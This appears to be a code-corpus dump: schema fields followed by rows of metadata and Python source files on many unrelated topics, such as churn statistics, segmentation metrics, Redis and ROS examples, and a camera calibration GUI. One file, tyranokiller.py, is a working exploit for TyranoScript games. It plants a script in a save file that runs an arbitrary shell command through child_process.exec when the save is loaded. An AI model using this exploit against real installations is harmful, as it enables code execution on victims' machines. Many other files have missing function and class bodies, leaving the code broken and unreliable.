hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
11 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
251
max_stars_repo_name
stringlengths
4
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
251
max_issues_repo_name
stringlengths
4
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
251
max_forks_repo_name
stringlengths
4
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.05M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.04M
alphanum_fraction
float64
0
1
af8999488b4c74fa92580fccfbc64a7e842f0087
260
py
Python
stix_shifter/stix_transmission/src/modules/cloudIdentity/cloudIdentity_results_connector.py
cookna/stix-shifter
3152f24cf7acb7670454433525ec10030102e146
[ "Apache-2.0" ]
null
null
null
stix_shifter/stix_transmission/src/modules/cloudIdentity/cloudIdentity_results_connector.py
cookna/stix-shifter
3152f24cf7acb7670454433525ec10030102e146
[ "Apache-2.0" ]
null
null
null
stix_shifter/stix_transmission/src/modules/cloudIdentity/cloudIdentity_results_connector.py
cookna/stix-shifter
3152f24cf7acb7670454433525ec10030102e146
[ "Apache-2.0" ]
2
2019-06-26T19:23:52.000Z
2019-07-09T15:33:16.000Z
from ..base.base_results_connector import BaseResultsConnector import json from .....utils.error_response import ErrorResponder
28.888889
62
0.807692
af8a181071e7abdcc867b84eb6bf5ea64085f25a
717
py
Python
churnalyze/py/churn_stats.py
Rdeandres/fight-churn
88fbff9b00f5ec4a9622073db15ab8809dfb21b3
[ "MIT" ]
null
null
null
churnalyze/py/churn_stats.py
Rdeandres/fight-churn
88fbff9b00f5ec4a9622073db15ab8809dfb21b3
[ "MIT" ]
null
null
null
churnalyze/py/churn_stats.py
Rdeandres/fight-churn
88fbff9b00f5ec4a9622073db15ab8809dfb21b3
[ "MIT" ]
null
null
null
import sys from churn_calc import ChurnCalculator def main(): ''' Creates churn calculator and runs the statistics and correlation functions. The schema name is taken from the first command line argument. The dataset and all other parameters are then taken from the schema configuration. :return: None ''' schema = 'churnsim2' if len(sys.argv) >= 2: schema = sys.argv[1] dataset = None if len(sys.argv) >= 3: dataset = sys.argv[2] churn_calc = ChurnCalculator(schema,dataset) churn_calc.dataset_stats(save=True) churn_calc.dataset_corr(save=True) churn_calc.dataset_corr(save=True,use_scores=False) if __name__ == "__main__": main()
23.9
86
0.687587
af8b4f7cdd96f1e05ccc0b6456d5fe449a767019
2,888
py
Python
python/contrib/head_pose_picture/src/yolov3/yolov3.py
coldenheart/123
798768bba7dfaef051a46d8e1df48bc671de5213
[ "Apache-2.0" ]
25
2020-11-20T09:01:35.000Z
2022-03-29T10:35:38.000Z
python/contrib/head_pose_picture/src/yolov3/yolov3.py
coldenheart/123
798768bba7dfaef051a46d8e1df48bc671de5213
[ "Apache-2.0" ]
5
2021-02-28T20:49:37.000Z
2022-03-04T21:50:27.000Z
python/contrib/head_pose_picture/src/yolov3/yolov3.py
coldenheart/123
798768bba7dfaef051a46d8e1df48bc671de5213
[ "Apache-2.0" ]
16
2020-12-06T07:26:13.000Z
2022-03-01T07:51:55.000Z
"""Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.""" import yolov3.yolov3_postprocessing as postprocessing import numpy as np import cv2 import os
39.027027
100
0.630194
af8b6e0be67a25ec631893c23bc76d3128fe5bc9
901
py
Python
rigid_body_motion/ros/check_install.py
phausamann/rigid-body-motion
2d4fbb1b949cc0b609a59877d7539af75dad6861
[ "MIT" ]
8
2021-05-20T02:24:07.000Z
2022-03-05T17:15:11.000Z
rigid_body_motion/ros/check_install.py
phausamann/rigid-body-motion
2d4fbb1b949cc0b609a59877d7539af75dad6861
[ "MIT" ]
10
2019-06-13T09:36:15.000Z
2022-01-17T16:55:05.000Z
rigid_body_motion/ros/check_install.py
phausamann/rigid-body-motion
2d4fbb1b949cc0b609a59877d7539af75dad6861
[ "MIT" ]
1
2021-08-13T10:24:31.000Z
2021-08-13T10:24:31.000Z
import traceback if __name__ == "__main__": try: import geometry_msgs.msg # noqa import rospy # noqa import std_msgs.msg # noqa import visualization_msgs.msg # noqa try: import rospkg # noqa import tf2_geometry_msgs # noqa import tf2_ros # noqa from tf.msg import tfMessage # noqa except rospkg.ResourceNotFound: raise ImportError( "The rospkg module was found but tf2_ros failed to import, " "make sure you've set up the necessary environment variables" ) except ImportError: print( f"Some dependencies are not correctly installed. " f"See the traceback below for more info.\n\n" f"{traceback.format_exc()}" ) else: print("All dependencies correctly installed!")
29.064516
77
0.577137
af8d86b547c3138c87e5922ed826526a715c832e
3,466
py
Python
rstbx/simulation/sim_pdf.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
155
2016-11-23T12:52:16.000Z
2022-03-31T15:35:44.000Z
rstbx/simulation/sim_pdf.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
590
2016-12-10T11:31:18.000Z
2022-03-30T23:10:09.000Z
rstbx/simulation/sim_pdf.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
115
2016-11-15T08:17:28.000Z
2022-02-09T15:30:14.000Z
from __future__ import absolute_import, division, print_function from six.moves import range from scitbx.array_family import flex page_origin = (20.,220.) boxedge = 500. from reportlab.pdfgen.canvas import Canvas from reportlab.lib.pagesizes import letter from reportlab.lib.units import cm,mm if __name__=="__main__": data_array = flex.double(flex.grid((768,768)),1.0) print(data_array.focus()) data_array = flex.double(flex.grid((7,7)),255) for x in range(7): data_array[(3,x)] = 0. data_array[(x,3)] = 0. try: import PIL.Image as Image except ImportError: import Image import numpy args = ("L",0,1) imageout = Image.frombuffer("L",data_array.focus(), data_array.as_float().as_numpy_array().astype(numpy.uint8).tostring(), "raw","L",0,1) imageout.save("newfile.png","PNG")
31.798165
89
0.671091
af8eb22a7a8fbb0ab152b78c299a3fc57959c738
163
py
Python
79.py
tarunbodapati/sum.c
c343d6ac530b7f433093138ac52474df4c9c4441
[ "MIT" ]
null
null
null
79.py
tarunbodapati/sum.c
c343d6ac530b7f433093138ac52474df4c9c4441
[ "MIT" ]
null
null
null
79.py
tarunbodapati/sum.c
c343d6ac530b7f433093138ac52474df4c9c4441
[ "MIT" ]
null
null
null
x,y=map(int,input().split(" ")) count=0 for i in range(0,1000): if(x*y==i*i): count+=1 if(count==1): print("yes") else: print("no")
14.818182
31
0.484663
af92ace02dba087d489cb1e5f3f4aa495505fa6e
654
py
Python
examples/basic_elasticache_password_protected.py
rtkefreure/redis-py-cluster
f0627c91ce23e8784dbc996078428c9bdbacb20b
[ "MIT" ]
1,075
2015-01-01T17:46:25.000Z
2022-03-31T17:55:18.000Z
examples/basic_elasticache_password_protected.py
rtkefreure/redis-py-cluster
f0627c91ce23e8784dbc996078428c9bdbacb20b
[ "MIT" ]
397
2015-01-04T08:39:03.000Z
2022-03-22T01:59:18.000Z
examples/basic_elasticache_password_protected.py
rtkefreure/redis-py-cluster
f0627c91ce23e8784dbc996078428c9bdbacb20b
[ "MIT" ]
373
2015-01-13T08:44:40.000Z
2022-03-29T02:18:20.000Z
from rediscluster import RedisCluster rc = RedisCluster( host='clustercfg.cfg-endpoint-name.aq25ta.euw1.cache.amazonaws.com', port=6379, password='password_is_protected', skip_full_coverage_check=True, # Bypass Redis CONFIG call to elasticache decode_responses=True, # decode_responses must be set to True when used with python3 ssl=True, # in-transit encryption, https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/in-transit-encryption.html ssl_cert_reqs=None # see https://github.com/andymccurdy/redis-py#ssl-connections ) rc.set("foo", "bar") print(rc.get("foo"))
40.875
148
0.704893
af950ed2adf47bfd5bbac8fc2d72461c9405f310
1,809
py
Python
lemonspotter/samplers/declare.py
martinruefenacht/lemonspotter
4e24759aded6536bbb3cdcc311e5eaf72d52c4e3
[ "MIT" ]
null
null
null
lemonspotter/samplers/declare.py
martinruefenacht/lemonspotter
4e24759aded6536bbb3cdcc311e5eaf72d52c4e3
[ "MIT" ]
20
2019-11-14T16:35:42.000Z
2021-05-17T14:55:44.000Z
lemonspotter/samplers/declare.py
martinruefenacht/lemonspotter
4e24759aded6536bbb3cdcc311e5eaf72d52c4e3
[ "MIT" ]
null
null
null
""" This module contains the definition of the DefaultSampler. """ import logging from typing import Iterable from lemonspotter.core.parameter import Direction from lemonspotter.core.sampler import Sampler from lemonspotter.core.variable import Variable from lemonspotter.core.function import Function from lemonspotter.core.sample import FunctionSample
33.5
91
0.66335
af9558754aad314aeb8db737a2091bb0a63f662a
480
py
Python
source/python/LSWRC.py
JoHyukJun/algorithm-analysis
3eda22ce0eeb52490702206d73c04cff1eb3e72d
[ "Apache-2.0" ]
null
null
null
source/python/LSWRC.py
JoHyukJun/algorithm-analysis
3eda22ce0eeb52490702206d73c04cff1eb3e72d
[ "Apache-2.0" ]
null
null
null
source/python/LSWRC.py
JoHyukJun/algorithm-analysis
3eda22ce0eeb52490702206d73c04cff1eb3e72d
[ "Apache-2.0" ]
null
null
null
''' main.py Created by JO HYUK JUN on 2021 Copyright 2021 JO HYUK JUN. All rights reserved. '''
21.818182
58
0.525
af95fa980c5195e3c75aff212645fcf4a36ea392
2,532
py
Python
tyranokiller.py
satoki/tyranokiller
9a4d707ca9f0d2469e9cbd0b57f474b2c96c2d9d
[ "MIT" ]
5
2021-12-23T11:23:40.000Z
2022-01-01T22:48:18.000Z
tyranokiller.py
satoki/tyranoscript_vulnerability
9a4d707ca9f0d2469e9cbd0b57f474b2c96c2d9d
[ "MIT" ]
null
null
null
tyranokiller.py
satoki/tyranoscript_vulnerability
9a4d707ca9f0d2469e9cbd0b57f474b2c96c2d9d
[ "MIT" ]
null
null
null
# Exploit Title: TyranoScript 5.13b - Arbitrary Code Execution # Date: 27/03/2022 # Exploit Author: Satoki # Vendor Homepage: https://tyrano.jp/ # Software Link: https://github.com/ShikemokuMK/tyranoscript # # Version (Save Data ACE): # TyranoScriptV5 <= 5.04b # TyranoScript <= 4.83 # # Version (Development Data ACE): # TyranoBuilder <= 1.87b # TyranoBuilderV5 <= 2.03 # TyranoRider <= 2.20 # TyranoStudio <= 1.10d # (TyranoScriptV5 <= 5.13b) # (TyranoScript <= 4.88) # # Tested on: Windows # CVE : 0day # # GitHub: https://github.com/satoki/tyranoscript_vulnerability # Usage: python3 tyranokiller.py -c "calc" Test.sav import os import sys import shutil from argparse import ArgumentParser argparser = ArgumentParser() argparser.add_argument("filename", type=str, help="Specify the target sav file name") argparser.add_argument("-c", "--command", type=str, default="calc", help="Specify the command to be injected") args = argparser.parse_args() filename = args.filename command = args.command print(f"\033[91m\ -------------------------------------------------------------\n\ | _____ _ _ _ |\n\ | /__ \_ _ _ __ __ _ _ __ ___ /\ /(_) | | ___ _ __ |\n\ | / /\/ | | | '__/ _` | '_ \ / _ \ / //_/ | | |/ _ \ '__| |\n\ | / / | |_| | | | (_| | | | | (_) / __ \| | | | __/ | |\n\ | \/ \__, |_| \__,_|_| |_|\___/\/ \/|_|_|_|\___|_| |\n\ | |___/ |\n\ | v1.1.0|\n\ -------------------------------------------------------------\n\ CVE-XXXX-XXXX\033[0m\n\ Target: {filename}\n\ Command: {command}\n\ ------------------------------------------------------------") if not os.path.isfile(filename): print("Error: sav file doesn't exist.") sys.exit(1) if "\"" in command: print("Error: Double quotes can't be used in the command.") sys.exit(1) shutil.copyfile(filename, f"{filename}.bk") savfile = open(f"{filename}.bk", mode="r") data = savfile.read() savfile.close() command = command.replace("\\", "\\\\") code = f"\ alert('Injected_by_TyranoKiller_!!!!');\ require('child_process').exec(`{command}`);\ " data = data.replace("%3C/div%3E", f"%3C/div%3E%3Cscript%3E{code}%3C/script%3E", 1) code = code.replace(";", ";\n") print(f"Code:\n\033[96m{code}\033[0m\ ------------------------------------------------------------") savfile = open(filename, mode="w") savfile.write(data) savfile.close() print("Completed.")
30.506024
110
0.527646
af97ce7ed6690110d340cf7da5e8b723433180ff
526
py
Python
forms.py
MarioAer/BubblesData
849cc6428b5e8d64f5517f94a714e3f737bfc75d
[ "MIT" ]
null
null
null
forms.py
MarioAer/BubblesData
849cc6428b5e8d64f5517f94a714e3f737bfc75d
[ "MIT" ]
null
null
null
forms.py
MarioAer/BubblesData
849cc6428b5e8d64f5517f94a714e3f737bfc75d
[ "MIT" ]
null
null
null
# -*- coding: UTF-8 -*- """(forms.py) Flask-Login Example: Login Form""" from flask_wtf import Form # import from flask_wtf, NOT wtforms from wtforms import StringField, PasswordField from wtforms.validators import InputRequired, Length # Define the LoginRorm class by sub-classing Form
40.461538
83
0.741445
af9c8aaccf0095264c9bcfb36a5958fdb4382d26
1,322
py
Python
core/loader.py
1x-eng/ext-a-cy
d6efbabca89243c9c41ce4c130e9f963b2b42229
[ "MIT" ]
null
null
null
core/loader.py
1x-eng/ext-a-cy
d6efbabca89243c9c41ce4c130e9f963b2b42229
[ "MIT" ]
null
null
null
core/loader.py
1x-eng/ext-a-cy
d6efbabca89243c9c41ce4c130e9f963b2b42229
[ "MIT" ]
null
null
null
from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By __author__='Pruthvi Kumar' # 30 June 2019. # pruthvikumar.123@gmail.com # Load web-page associated with given URL and await given dom element until specified time.
33.897436
114
0.67171
af9cba96e04a6dafd8fe9ffe1a97e239f33fd7e2
188
py
Python
improutils/__init__.py
ImprolabFIT/improutils
84666f88db594dd5d24cf946c635df37643ed309
[ "MIT" ]
null
null
null
improutils/__init__.py
ImprolabFIT/improutils
84666f88db594dd5d24cf946c635df37643ed309
[ "MIT" ]
null
null
null
improutils/__init__.py
ImprolabFIT/improutils
84666f88db594dd5d24cf946c635df37643ed309
[ "MIT" ]
null
null
null
from .other import * from .acquisition import * from .filtration import * from .preprocessing import * from .recognition import * from .segmentation import * from .visualisation import *
20.888889
28
0.771277
af9cf05604e40321edbad3928cd57491f9b1fcff
1,598
py
Python
Classicist Express/api/urls.py
RisalatShahriar/ccNews
d7b73bff86ac938d47be4f97d04a81af9ed00faf
[ "Apache-2.0" ]
null
null
null
Classicist Express/api/urls.py
RisalatShahriar/ccNews
d7b73bff86ac938d47be4f97d04a81af9ed00faf
[ "Apache-2.0" ]
null
null
null
Classicist Express/api/urls.py
RisalatShahriar/ccNews
d7b73bff86ac938d47be4f97d04a81af9ed00faf
[ "Apache-2.0" ]
null
null
null
from django.urls import path from . import views urlpatterns = [ path('bd', views.bdaffair, name="bd_api"), path('home', views.home_data, name='home_api'), path('cultural', views.cultural_insights, name='cultural_api'), path('sports', views.sports_insights, name='sports_api'), path('international', views.internatioal, name='achievements_api'), path('interview', views.interviews, name='interview_api'), path('cc', views.cc, name='cc_api'), path('youth', views.youth, name='youth_api'), path('district', views.district_insights, name='district_api'), path('comics', views.comics, name='comics_api'), path('trending', views.trending, name='trending_api'), path('diversed', views.diversed, name='diversed_api'), path('bd/top', views.bdaffair_top, name="top_bd_api"), path('home/top', views.home_data_top, name='top_home_api'), path('cultural/top', views.cultural_insights_top, name='top_cultural_api'), path('sports/top', views.sports_insights_top, name='top_sports_api'), path('international/top', views.internatioal_top, name='top_achievements_api'), path('interview/top', views.interviews_top, name='top_interview_api'), path('cc/top', views.cc_top, name='top_cc_api'), path('youth/top', views.youth_top, name='top_youth_api'), path('district/top', views.district_insights_top, name='top_district_api'), path('comics/top', views.comics_top, name='top_comics_api'), path('trending/top', views.trending_top, name='top_trending_api'), path('diversed/top', views.diversed_top, name='top_diversed_api') ]
55.103448
83
0.71214
af9ec8c3e054bbb041579522842ad9b2da17d23a
11,544
py
Python
farmer/ncc/metrics/segmentation_metrics.py
aiorhiroki/farmer.tf2
5d78f4b47b753ab2d595829c17fef7c6061235b5
[ "Apache-2.0" ]
null
null
null
farmer/ncc/metrics/segmentation_metrics.py
aiorhiroki/farmer.tf2
5d78f4b47b753ab2d595829c17fef7c6061235b5
[ "Apache-2.0" ]
7
2021-11-12T05:58:48.000Z
2022-02-25T07:05:26.000Z
farmer/ncc/metrics/segmentation_metrics.py
aiorhiroki/farmer.tf2
5d78f4b47b753ab2d595829c17fef7c6061235b5
[ "Apache-2.0" ]
null
null
null
import numpy as np from pathlib import Path import itertools from tqdm import tqdm from ..utils import get_imageset import matplotlib.pyplot as plt import cv2 import json from ..metrics.surface_dice import metrics as surface_distance from ..metrics.functional import calc_isolated_fp def detection_rate_confusions(pred_labels, gt_labels, nb_classes): """ gt_labels: iterable container (Width, Height) prediction_labels: iterable container (Width, Height) nb_classes: number of classes """ confusion_tabel = np.zeros((nb_classes, 4), dtype=np.uint8) for gt_label, pred_label in zip(gt_labels, pred_labels): for class_id in range(nb_classes): gt_mask = gt_label == class_id pred_mask = pred_label == class_id if np.sum(gt_mask) == 0 and np.sum(pred_mask) == 0: confusion_tabel[class_id, 0] += 1 elif np.sum(gt_mask) == 0 and np.sum(pred_mask) > 0: confusion_tabel[class_id, 1] += 1 elif np.sum(gt_mask * pred_mask) == 0: confusion_tabel[class_id, 2] += 1 else: confusion_tabel[class_id, 3] += 1 return confusion_tabel def plot_confusion_matrix(cm, classes, normalize=False, title='Confusion matrix', cmap=plt.cm.Blues, save_file=None): """ This function prints and plots the confusion matrix. Normalization can be applied by setting `normalize=True`. """ if normalize: cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis] print("Normalized confusion matrix") else: print('Confusion matrix, without normalization') print(cm) plt.figure() plt.imshow(cm, interpolation='nearest', cmap=cmap) plt.title(title) plt.colorbar() tick_marks = np.arange(len(classes)) plt.xticks(tick_marks, classes, rotation=45) plt.yticks(tick_marks, classes) fmt = '.2f' if normalize else 'd' thresh = cm.max() / 2. for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])): plt.text(j, i, format(cm[i, j], fmt), horizontalalignment="center", color="white" if cm[i, j] > thresh else "black") plt.ylabel('True label') plt.xlabel('Predicted label') plt.tight_layout() plt.savefig('{}.png'.format(save_file)) def calc_surface_dice(pred_out, gt_label, nb_classes, vertical=1.0, horizontal=1.0, tolerance=0.0): """ surface dice calculation Args: pred_out (np.array, shape (h,w,nb_classes)): prediction output. gt_mask (np.array, shape (h,w)): ground truth mask. nb_classes (int): the number of classes vertical (float, optional): real length (mm) of pixel in the vertical direction. Defaults to 1.0. horizontal (float, optional): real length (mm) of pixel in the horizontal direction. Defaults to 1.0. tolerance (float, optional): acceptable tolerance (mm) of boundary. Defaults to 0.0. Returns: surface_dice (float): """ class_surface_dice = list() # convert array (value: class_id) pred_label = np.uint8(np.argmax(pred_out, axis=2)) gt_label = np.uint8(np.argmax(gt_label, axis=2)) for class_id in range(nb_classes): gt_mask = gt_label == class_id pred_mask = pred_label == class_id # convert bool np.array mask gt_mask = np.asarray(gt_mask, dtype=np.bool) pred_mask = np.asarray(pred_mask, dtype=np.bool) surface_distances = surface_distance.compute_surface_distances( gt_mask, pred_mask, spacing_mm=(vertical, horizontal)) surface_dice = surface_distance.compute_surface_dice_at_tolerance(surface_distances, tolerance_mm=tolerance) class_surface_dice.append(surface_dice) return class_surface_dice def calc_weighted_dice(confusion, isolated_fp, nb_classes, isolated_fp_weights=15.0): """ weighted dice calculation Args: confusion (np.array): confusion matrix. isolated_fp (np.array): isolated fp for each class. isolated_fp_weight (dict or float): isolated fp weights for each class. Defaults to 15.0. Returns: weighted_dice (np.array) """ if isinstance(isolated_fp_weights, float): isolated_fp_weights = {i: isolated_fp_weights for i in range(nb_classes)} assert isinstance(isolated_fp_weights, dict) sorted_weights = sorted(isolated_fp_weights.items(), key=lambda x: x[0]) isolated_fp_weights = np.asarray([v for _, v in sorted_weights]) tp = np.diag(confusion) connected_fp = np.sum(confusion, 0) - tp - isolated_fp fn = np.sum(confusion, 1) - tp class_w_dice = 2 * tp / (2 * tp + fn + connected_fp + isolated_fp_weights * isolated_fp) return class_w_dice
34.981818
116
0.628638
af9f58fe0e660b08a353e17203614fe5d6b9e0d5
46
py
Python
chatbot/__init__.py
rdorado79/chatbotlib
bfe44593fe218d13a8c55f80f0c13db67605a5b2
[ "MIT" ]
null
null
null
chatbot/__init__.py
rdorado79/chatbotlib
bfe44593fe218d13a8c55f80f0c13db67605a5b2
[ "MIT" ]
null
null
null
chatbot/__init__.py
rdorado79/chatbotlib
bfe44593fe218d13a8c55f80f0c13db67605a5b2
[ "MIT" ]
null
null
null
# Example package with a console entry point
15.333333
44
0.782609
afa04ed205e39049b31fa8fd4108f5232fadca75
1,774
py
Python
mrbaviirc/template/actions/action_var.py
brianvanderburg2/python-mrbaviirc-template
6da213b30580d66fe7231c40bb7bbebb026a0789
[ "Apache-2.0" ]
null
null
null
mrbaviirc/template/actions/action_var.py
brianvanderburg2/python-mrbaviirc-template
6da213b30580d66fe7231c40bb7bbebb026a0789
[ "Apache-2.0" ]
null
null
null
mrbaviirc/template/actions/action_var.py
brianvanderburg2/python-mrbaviirc-template
6da213b30580d66fe7231c40bb7bbebb026a0789
[ "Apache-2.0" ]
null
null
null
""" Handler for the var action tag. """ # pylint: disable=too-few-public-methods,too-many-arguments,protected-access,unused-argument __author__ = "Brian Allen Vanderburg II" __copyright__ = "Copyright 2016-2019" __license__ = "Apache License 2.0" from . import ActionHandler, DefaultActionHandler from ..nodes import Node, NodeList from ..renderers import StringRenderer ACTION_HANDLERS = {"var": VarActionHandler}
28.612903
92
0.653326
afa0c7a4dbfb00577736a7f5962a39c917e15a9e
1,623
py
Python
tests/test_exp_worker_cred.py
RogerEMO/srd
40eb8bb02cfd3b1f60ed9eb3e361877fea744cb5
[ "MIT" ]
1
2021-11-22T18:15:09.000Z
2021-11-22T18:15:09.000Z
tests/test_exp_worker_cred.py
RogerEMO/srd
40eb8bb02cfd3b1f60ed9eb3e361877fea744cb5
[ "MIT" ]
3
2021-05-10T18:46:16.000Z
2021-06-01T16:51:48.000Z
tests/test_exp_worker_cred.py
RogerEMO/srd
40eb8bb02cfd3b1f60ed9eb3e361877fea744cb5
[ "MIT" ]
1
2021-05-05T17:20:06.000Z
2021-05-05T17:20:06.000Z
import pytest from math import isclose import sys sys.path.append('/Users/pyann/Dropbox (CEDIA)/srd/Model') import srd from srd import quebec # I use https://cffp.recherche.usherbrooke.ca/outils-ressources/guide-mesures-fiscales/credit-impot-prolongation-carriere/ # since they don't seem to adjust for taxable income (lines 37 and 38, grille de calcul), # we add some non-work income to avoid a reduction
36.066667
123
0.637708
afa13b4e4fc345a627c690ebb66190bf2e512666
1,382
py
Python
Prog1.py
tudoriliuta/UR3RL
9a98d530318f5931ddc195d8ffa7ebc406cd6419
[ "MIT" ]
1
2019-05-23T14:26:21.000Z
2019-05-23T14:26:21.000Z
Prog1.py
tudoriliuta/UR3RL
9a98d530318f5931ddc195d8ffa7ebc406cd6419
[ "MIT" ]
null
null
null
Prog1.py
tudoriliuta/UR3RL
9a98d530318f5931ddc195d8ffa7ebc406cd6419
[ "MIT" ]
null
null
null
# Type help("robolink") or help("robodk") for more information # Press F5 to run the script # Documentation: https://robodk.com/doc/en/RoboDK-API.html # Reference: https://robodk.com/doc/en/PythonAPI/index.html # Note: It is not required to keep a copy of this file, your python script is saved with the station from robolink import * # RoboDK's API from robodk import * # Math toolbox for robots # Start the RoboDK API: RDK = Robolink() # Get the robot item by name: robot = RDK.Item('UR3', ITEM_TYPE_ROBOT) # Get the reference target by name: R = 100 for i in range(2): target = RDK.Item('Target %s' % (i+1)) target_pose = target.Pose() xyz_ref = target_pose.Pos() # Move the robot to the reference point: robot.MoveJ(target) # Draw a hexagon around the reference target: for i in range(7): ang = i * 2 * pi / 6 # ang = 0, 60, 120, ..., 360 # Calculate the new position around the reference: x = xyz_ref[0] + R * cos(ang) # new X coordinate y = xyz_ref[1] + R * sin(ang) # new Y coordinate z = xyz_ref[2] # new Z coordinate target_pose.setPos([x,y,z]) # Move to the new target: robot.MoveL(target_pose) # Trigger a program call at the end of the movement # robot.RunCode('Program_Done') # Move back to the reference target: robot.MoveL(target)
32.139535
100
0.644718
afa16d72320b51ad48b9e7a6f4900aaa906c676a
101
py
Python
main.py
JesperKauppinen/dont-touch-the-spikes-clone
c5b0961fe8bbc0706191649bbae2d1784dd72e1d
[ "MIT" ]
null
null
null
main.py
JesperKauppinen/dont-touch-the-spikes-clone
c5b0961fe8bbc0706191649bbae2d1784dd72e1d
[ "MIT" ]
null
null
null
main.py
JesperKauppinen/dont-touch-the-spikes-clone
c5b0961fe8bbc0706191649bbae2d1784dd72e1d
[ "MIT" ]
null
null
null
from game import Game g = Game() while g.running: g.curr_menu.display_menu() g.game_loop()
12.625
30
0.673267
afa29bf04f32cf1f5c5165ddb76b18a6eec1cbfc
1,474
py
Python
ccdc/pixel.py
USGS-EROS/lcmap-gen
1be50eb316f7d737d6bbd000bd6a8b5006730928
[ "Unlicense" ]
6
2018-07-09T00:33:52.000Z
2019-11-14T16:36:39.000Z
ccdc/pixel.py
USGS-EROS/lcmap-gen
1be50eb316f7d737d6bbd000bd6a8b5006730928
[ "Unlicense" ]
1
2017-04-26T17:22:34.000Z
2017-04-26T17:38:59.000Z
ccdc/pixel.py
USGS-EROS/lcmap-gen
1be50eb316f7d737d6bbd000bd6a8b5006730928
[ "Unlicense" ]
2
2018-06-11T17:59:03.000Z
2018-07-09T00:33:54.000Z
from ccdc import cassandra from pyspark.sql.types import ArrayType from pyspark.sql.types import ByteType from pyspark.sql.types import IntegerType from pyspark.sql.types import StructField from pyspark.sql.types import StructType def table(): """Cassandra table name""" return 'pixel' def schema(): """Schema for pixel dataframe""" return StructType([ StructField('cx' , IntegerType(), nullable=False), StructField('cy' , IntegerType(), nullable=False), StructField('px' , IntegerType(), nullable=False), StructField('py' , IntegerType(), nullable=False), StructField('mask' , ArrayType(ByteType()), nullable=True)])\ def dataframe(ctx, ccd): """Create pixel dataframe from ccd dataframe Args: ctx: spark context ccd: CCD dataframe Returns: dataframe conforming to pixel.py """ return ccd.select(schema().fieldNames()) def read(ctx, ids): """Read pixels ctx: spark context ids: dataframe of (cx, cy) Returns: dataframe conforming to pixel.schema() """ return ids.join(cassandra.read(ctx, table()), on=['cx', 'cy'], how='inner') def write(ctx, df): """Write pixels Args: ctx: spark context df : dataframe conforming to pixel.schema() Returns: df """ cassandra.write(ctx, df, table()) return df
22.333333
70
0.603121
afa4b7d2595f4e0c541626173ba9e42640a0a707
6,471
py
Python
ekmap_core/qgslabel_parser/label_parser.py
eKMap/ekmap-publisher-for-qgis
cb9dac6c29be3617c2155c1e38d9d1dffbdbad96
[ "MIT" ]
4
2020-11-11T07:07:55.000Z
2022-02-22T02:39:01.000Z
ekmap_core/qgslabel_parser/label_parser.py
eKMap/ekmap-publisher-for-qgis
cb9dac6c29be3617c2155c1e38d9d1dffbdbad96
[ "MIT" ]
2
2021-03-17T17:46:56.000Z
2021-03-18T08:19:04.000Z
ekmap_core/qgslabel_parser/label_parser.py
eKMap/ekmap-publisher-for-qgis
cb9dac6c29be3617c2155c1e38d9d1dffbdbad96
[ "MIT" ]
1
2021-10-31T21:00:55.000Z
2021-10-31T21:00:55.000Z
from PyQt5.QtWidgets import QMainWindow from ..ekmap_converter import eKConverter import re from qgis.core import QgsMessageLog
36.767045
111
0.591871
afa690096a6121167933e215558dabc81606d2f3
8,069
py
Python
main.py
lyffly/CameraCalibration
aacdcc9ea711154060f078f0564f8143077cac88
[ "BSD-3-Clause" ]
null
null
null
main.py
lyffly/CameraCalibration
aacdcc9ea711154060f078f0564f8143077cac88
[ "BSD-3-Clause" ]
null
null
null
main.py
lyffly/CameraCalibration
aacdcc9ea711154060f078f0564f8143077cac88
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # coding by liuyunfei # 2020-4-12 import sys from PyQt5.QtWidgets import QApplication, QMainWindow, QMessageBox from PyQt5.QtCore import QThread, pyqtSignal, QDateTime, QObject, QMutexLocker, QMutex, QTimer from PyQt5.QtGui import QPixmap from PyQt5 import Qt, QtCore from PyQt5.QtCore import QByteArray from PyQt5.QtGui import QPixmap, QImage import os import cv2 import time import glob import numpy as np from copy import deepcopy from ui.ui import * image_mutex = QMutex() image = None org_img = None camera_mutex = QMutex() num_i = 0 if __name__ == '__main__': app = QApplication(sys.argv) myWin = MyWindow() myWin.show() sys.exit(app.exec_())
34.33617
137
0.587433
afaa3f5a9633f887b543c143ac5957ba0b5db6a8
145
py
Python
pythontraining/unittesting.py
srikanteswartalluri/pyutils
bf8d56ac9e9b0786861c08ef32eae49b021f20a3
[ "0BSD" ]
null
null
null
pythontraining/unittesting.py
srikanteswartalluri/pyutils
bf8d56ac9e9b0786861c08ef32eae49b021f20a3
[ "0BSD" ]
null
null
null
pythontraining/unittesting.py
srikanteswartalluri/pyutils
